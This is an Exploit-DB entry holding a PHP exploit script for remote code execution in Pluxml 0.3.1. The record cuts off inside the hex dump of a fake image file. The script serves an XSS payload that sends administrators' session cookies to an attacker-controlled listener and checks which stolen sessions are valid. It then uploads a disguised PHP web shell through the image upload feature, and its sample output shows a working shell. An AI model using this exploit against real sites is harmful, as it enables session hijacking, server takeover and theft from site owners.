Exploit-DB #4096
Description: Pluxml 0.3.1 - Remote Code Execution
Type: webapps
Platform: php
Date: 2007-06-24
Author: DarkFig

Exploit:
<?php
# C:\> sploit.php -url http://victim.com/pluxml0.3.1/ -ip 90.27.10.196
# [/]Waiting for connection on http://90.27.10.196:80/
# [!]Now you have to make the victim to click on the url
# [+]Received 395 bytes from 182.26.54.2:2007
# [+]Sending 366 bytes to 182.26.54.2:2007
# [+]Received 326 bytes from 182.26.54.2:2009
# [+]Sending 366 bytes to 182.26.54.2:2009
# [+]Received 692 bytes from 182.26.54.2:2010
# [!]Received one cookie from 182.26.54.2:2010
# [/]Verifying if there is a valid session id cookie
# [-]No: pollvote=1
# [!]Yes: PHPSESSID=c6255827c1a07c51a95af691a612484b
# [+]The created socket has been shut down
# $shell> whoami
# darkfig
#
if($argc < 5)
{
print("
------------ Pluxml 0.3.1 Remote Code Execution Exploit -------------
---------------------------------------------------------------------
             Credits: DarkFig <gmdarkfig@gmail.com>
                 URL: acid-root.new.fr || mgsdl.free.fr
                 IRC: #acidroot@irc.worldnet.net
                Note: Coded for fun 8)
---------------------------------------------------------------------
   Usage: $argv[0] -url <> -ip <> [Options]
  Params: -url       For example http://victim.com/pluxml0.3.1/
          -ip        The IP that will be bound to the socket
 Options: -port      The socket will listen on this port (default=80)
          -proxy     If you wanna use a proxy <proxyhost:proxyport> 
          -proxyauth Basic authentification <proxyuser:proxypwd>
---------------------------------------------------------------------
");exit(1);
}

# PhpSploit object
####################
$xpl = new phpsploit();
$xpl->agent('Firefox');

# Server
##########
$server_addr = getparam('ip',1);
$server_port = (getparam('port')!='') ? getparam('port') : '80';
$server_url  = "http://$server_addr:$server_port/";

# Victim
##########
$hack = getparam('url',1);
$html = "<h1>hello :)</h1>\n";

# Apparently my XSS bypass NoScript protection
################################################
$xss  = "<iframe src='${hack}pluxml/admin/auth.php?msg="
       ."<script>document.location=(".char($server_url.'?c=')
       .".concat(document.cookie))</script>'"
       ." height=0 width=0>";

# Socket
##########
$handle = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($handle, $server_addr, $server_port);
socket_listen($handle);

print "\n[/]Waiting for connection on $server_url";
print "\n[!]Now you have to make the victim to click on the url";

# Wait until we get admin rights
##################################
while(TRUE)
{
	$packet = '';
	
	if(!$msg = socket_accept($handle))
	   exit(1);

	# End of the packet ?
	######################
	while(!ereg("\r\n\r\n",$packet))
	   $packet .= socket_read($msg, 2048, PHP_BINARY_READ);
	   
        socket_getpeername($msg, $clientaddr, $clientport);
        print "\n[+]Received ".strlen($packet)." bytes from $clientaddr:$clientport";

	# Server response
	##################
	$serv =
	 "HTTP 1.x 200 OK\r\n"
	."Connection: close\r\n"
	."Transfer-Encoding: chunked\r\n"
	."Content-Type: text/html\r\n\r\n"
	.$html.$xss."\r\n\r\n";

	# Is there a cookie ?
	#######################
	if(preg_match("#\?c=(\S*) HTTP/1\.([01x]+)#", $packet, $cookies))
	{
		print "\n[!]Received one cookie from $clientaddr:$clientport";
		print "\n[/]Verifying if there is a valid session id cookie";
		$cookie = explode(';%20',$cookies[1]);
		
		foreach($cookie as $session)
		{
			# Valid session id ?
			#######################
			if(is_valid_session($session))
			
			   # Let's upload a file
			   #######################
			   code_execution();
		}
		print "\n[-]No valid session id cookie found";
		print "\n[/]Always waiting for connection";
	}
	# Answer to the client
	########################
	else
	{
		print "\n[+]Sending ".strlen($serv)." bytes to $clientaddr:$clientport";
		socket_write($msg, $serv, strlen($serv));
	}
	socket_close($msg);
}

# Function which is like getopt()
###################################
function getparam($param,$opt='')
{
	global $argv;
	
	foreach($argv as $value => $key)
	{
		if($key == '-'.$param)
		   return $argv[$value+1];
	}
	
	if($opt)
	   exit("-$param parameter required");
	else
	   return;
}

# Bypass magic_quotes_gpc
###########################
function char($data)
{
	$char = 'String.fromCharCode(';
	
	for($i=0;$i<strlen($data);$i++)
	{
		$char .= ord($data[$i]);
		if($i != (strlen($data)-1))
		   $char .= ',';
	}
	return $char.')';
}

# Admin session always available ?
###################################
function is_valid_session($session)
{
	global $xpl,$hack;
	
	$xpl->addheader('Cookie',$session);
	$xpl->get($hack.'pluxml/admin/index.php');
	
	if(eregi('Location: auth.php', $xpl->getheader()))
	{
		print "\n[-]No: $session";
		return FALSE;
	}
	else
	{
		print "\n[!]Yes: $session";
		return TRUE;
	}
}

# File upload vulnerability
#############################
function code_execution()
{
	global $xpl,$hack,$msg;
	
	socket_close($msg);
	print "\n[+]The created socket has been shut down";
	
	# +images.php [File Upload Vulnerability]
	# |
	# 11. if(!empty($_FILES)){
	# 12.    $uploaddir = '../../images/';
	# 13.    $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
	# 14. if(getimagesize($_FILES['userfile']['tmp_name'])){
	# 15.	 move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile);
	# 16.	 chmod($uploadfile, 0777);
	# 17.	 $msg = 'Image envoyÃ©e';
	# 18. }else{
	# 19.	 $msg = 'Le fichier n\'est pas une image';
	# 20. }
	# 21. header('Location: images.php?msg='.$msg);
	# 22. }
	#
	# Fake JPG 1x1
	# 000000A0 007F 3C3F 7068 700D 0A69 6628 6973 7365 ..<?php..if(isse
	# 000000B0 7428 245F 5345 5256 4552 5B48 5454 505F t($_SERVER[HTTP_
	# 000000C0 5348 454C 4C5D 2929 0D0A 7B0D 0A70 7269 SHELL]))..{..pri
	# 000000D0 6E74 [PII_REDACTED] 3839 3130 3131 nt